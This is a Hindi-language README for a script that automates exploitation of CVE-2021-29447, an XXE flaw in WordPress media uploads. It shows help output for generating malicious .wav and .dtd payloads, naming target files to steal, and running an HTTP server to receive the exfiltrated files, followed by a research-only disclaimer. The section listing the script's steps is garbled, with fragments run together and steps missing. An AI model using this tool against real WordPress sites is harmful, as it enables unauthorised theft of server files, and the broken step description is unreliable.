
WordPress मीडिया अपलोड में CVE-2021-29447 के शोषण को स्वचालित करता है, XXE के माध्यम से फ़ाइलें निकालने के लिए पेलोड उत्पन्न करता है और एक्सफ़िल्ट्रेशन के लिए एक HTTP सर्वर चलाता है।
यह स्क्रिप्ट Wordpress में मीडिया अपलोड कार्यक्षमता में CVE-2021-29447 का शोषण करने और XXE के माध्यम से फ़ाइलें निकालने के लिए आवश्यक चरणों को स्वचालित करती है।
./generate_payloads.py --help
usage: generate_payloads.py [-h] [--local-ip LOCAL_IP] [--local-port LOCAL_PORT] [--media-payload MEDIA_PAYLOAD] [--dtd-payload DTD_PAYLOAD]
[--files-to-fetch FILES_TO_FETCH [FILES_TO_FETCH ...]]
CVE-2021-29447 payload generator
options:
-h, --help show this help message and exit
--local-ip LOCAL_IP Local machine IP address
--local-port LOCAL_PORT
Local machine port which will run an HTTP server to receive the exfiltrated files
--media-payload MEDIA_PAYLOAD
Name of the .wav file containing the exploit to be generated
--dtd-payload DTD_PAYLOAD
Name of the .dtd file containing the exploit to be generated
--files-to-fetch FILES_TO_FETCH [FILES_TO_FETCH ...]
स्क्रिप्ट निम्नलिखित कार्य करती है:
--media-payload का उपयोग कर सकते हैं।--dtd-payload का उपयोग कर सकते हैं। इस फ़ाइल में उन फ़ाइलों के पूर्ण पथ होंगे जिन्हें आप लक्ष्य मशीन से निकालना चाहते हैं, आप --files-to-fetch के माध्यम से अल्पविराम से अलग की गई फ़ाइलों की एक सूची निर्दिष्ट कर सकते हैं।यह सॉफ़्टवेयर पूरी तरह से अनुसंधान और प्रभावी शमन तकनीकों के विकास के उद्देश्यों के लिए बनाया गया है, और स्पष्ट रूप से अधिकृत को छोड़कर सिस्टम पर हमला करने के लिए इसका उपयोग करने का इरादा नहीं है। परियोजना अनुरक्षक सॉफ़्टवेयर के दुरुपयोग के लिए जिम्मेदार या उत्तरदायी नहीं हैं। जिम्मेदारी से उपयोग करें।